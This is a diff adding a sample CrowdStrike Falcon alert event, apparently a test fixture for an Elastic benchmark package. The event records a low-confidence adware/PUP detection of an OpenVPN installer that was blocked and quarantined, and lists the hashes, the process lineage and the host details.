diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json
new file mode 100644
index 0000000000..680f31dc1f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json
@@ -0,0 +1,364 @@
+{
+    "@timestamp": "2023-11-03T18:00:22.328Z",
+    "agent": {
+        "ephemeral_id": "efb69ba7-0736-4cf7-a39f-70f3183e7530",
+        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
+        "name": "elastic-agent-43429",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "crowdstrike": {
+        "alert": {
+            "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+            "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+            "alleged_filetype": "exe",
+            "cid": "92012896127c4a948236ba7601b886b0",
+            "cloud_indicator": false,
+            "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+            "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "confidence": 10,
+            "context_timestamp": "2023-11-03T18:00:31.000Z",
+            "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+            "crawl_edge_ids": {
+                "Sensor": [
+                    "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                    "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<WalY1K_h%QDBBF;_e7S!!*'!",
+                    "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                    "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                    "N6B%O'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbCuNjL#gW&=)E4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                    "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                    "N6CU&%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                    "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                    "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                    "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N"
+                ]
+            },
+            "crawl_vertex_ids": {
+                "Sensor": [
+                    "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                    "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                ]
+            },
+            "crawled_timestamp": "2023-11-03T19:00:23.985Z",
+            "created_timestamp": "2023-11-03T18:01:23.995Z",
+            "data_domains": [
+                "Endpoint"
+            ],
+            "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+            "device": {
+                "agent_load_flags": 0,
+                "agent_local_time": "2023-10-12T03:45:57.753Z",
+                "agent_version": "7.04.17605.0",
+                "bios_manufacturer": "ABC",
+                "bios_version": "F8CN42WW(V2.05)",
+                "cid": "92012896127c4a948236ba7601b886b0",
+                "config_id_base": "65994763",
+                "config_id_build": "17605",
+                "config_id_platform": 3,
+                "external_ip": "81.2.69.142",
+                "first_seen": "2023-04-07T09:36:36.000Z",
+                "groups": [
+                    "18704e21288243b58e4c76266d38caaf"
+                ],
+                "hostinfo": {
+                    "active_directory_dn_display": [
+                        "WinComputers",
+                        "WinComputers\\ABC"
+                    ],
+                    "domain": "ABC.LOCAL"
+                },
+                "hostname": "ABC709-1175",
+                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "last_seen": "2023-11-03T17:51:42.000Z",
+                "local_ip": "81.2.69.142",
+                "mac_address": "AB-21-48-61-05-B2",
+                "machine_domain": "ABC.LOCAL",
+                "major_version": "10",
+                "minor_version": "0",
+                "modified_timestamp": "2023-11-03T17:53:43.000Z",
+                "os_version": "Windows11",
+                "ou": [
+                    "ABC",
+                    "WinComputers"
+                ],
+                "platform_id": "0",
+                "platform_name": "Windows",
+                "product_type": "1",
+                "product_type_desc": "Workstation",
+                "site_name": "Default-First-Site-Name",
+                "status": "normal",
+                "system_manufacturer": "LENOVO",
+                "system_product_name": "20VE"
+            },
+            "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+            "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+            "grandparent_details": {
+                "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                "filename": "userinit.exe",
+                "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                "local_process_id": "4328",
+                "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                "process_id": "392734873135",
+                "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                "timestamp": "2023-10-30T16:49:19.000Z",
+                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_name": "yuvraj.mahajan"
+            },
+            "has_script_or_module_ioc": true,
+            "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+            "ioc_context": [
+                {
+                    "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "ioc_source": "library_load",
+                    "ioc_type": "hash_sha256",
+                    "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "type": "module"
+                }
+            ],
+            "ioc_values": [
+                "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
+            ],
+            "is_synthetic_quarantine_disposition": true,
+            "local_process_id": "17076",
+            "logon_domain": "ABSYS",
+            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+            "name": "PrewittPupAdwareSensorDetect-Lowest",
+            "objective": "FalconDetectionMethod",
+            "parent_details": {
+                "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                "filename": "explorer.exe",
+                "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                "local_process_id": "1040",
+                "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                "process_id": "392736520876",
+                "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                "timestamp": "2023-11-03T18:00:32.000Z",
+                "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_name": "mohit.jha"
+            },
+            "parent_process_id": "392736520876",
+            "pattern_disposition": 2176,
+            "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+            "pattern_disposition_details": {
+                "blocking_unsupported_or_disabled": false,
+                "bootup_safeguard_enabled": false,
+                "critical_process_disabled": false,
+                "detect": false,
+                "fs_operation_blocked": false,
+                "handle_operation_downgraded": false,
+                "inddet_mask": false,
+                "indicator": false,
+                "kill_action_failed": false,
+                "kill_parent": false,
+                "kill_process": false,
+                "kill_subprocess": false,
+                "operation_blocked": false,
+                "policy_disabled": false,
+                "process_blocked": true,
+                "quarantine_file": true,
+                "quarantine_machine": false,
+                "registry_operation_blocked": false,
+                "rooting": false,
+                "sensor_only": false,
+                "suspend_parent": false,
+                "suspend_process": false
+            },
+            "pattern_id": "5761",
+            "platform": "Windows",
+            "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+            "process_end_time": "2023-11-03T18:00:21.000Z",
+            "process_id": "399748687993",
+            "process_start_time": "2023-11-03T18:00:13.000Z",
+            "product": "epp",
+            "quarantined_files": [
+                {
+                    "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "state": "quarantined"
+                }
+            ],
+            "scenario": "NGAV",
+            "severity": 30,
+            "severity_name": "low",
+            "sha1": "0000000000000000000000000000000000000000",
+            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+            "show_in_ui": true,
+            "source_products": [
+                "FalconInsight"
+            ],
+            "source_vendors": [
+                "CrowdStrike"
+            ],
+            "status": "new",
+            "tactic": "MachineLearning",
+            "tactic_id": "CSTA0004",
+            "technique": "Adware/PUP",
+            "technique_id": "CST0000",
+            "timestamp": "2023-11-03T18:00:22.328Z",
+            "tree_id": "1931778",
+            "tree_root": "38687993",
+            "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+            "type": "ldt",
+            "updated_timestamp": "2023-11-03T19:00:23.985Z",
+            "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+            "user_name": "mohit.jha"
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.alert",
+        "namespace": "96581",
+        "type": "logs"
+    },
+    "device": {
+        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+        "manufacturer": "LENOVO",
+        "model": {
+            "name": "20VE"
+        }
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "d541c008-3558-403d-9392-4faa6d42fcb4",
+        "snapshot": true,
+        "version": "8.18.0"
+    },
+    "event": {
+        "agent_id_status": "verified",
+        "category": [
+            "process"
+        ],
+        "dataset": "crowdstrike.alert",
+        "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+        "ingested": "2025-10-09T10:20:29Z",
+        "kind": "alert",
+        "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
+        "severity": 21,
+        "type": [
+            "start"
+        ]
+    },
+    "file": {
+        "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+        "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
+    },
+    "host": {
+        "domain": "ABC.LOCAL",
+        "hostname": "ABC709-1175",
+        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+        "ip": [
+            "81.2.69.142"
+        ],
+        "mac": [
+            "AB-21-48-61-05-B2"
+        ],
+        "os": {
+            "full": "Windows11",
+            "platform": "Windows",
+            "type": "windows"
+        }
+    },
+    "input": {
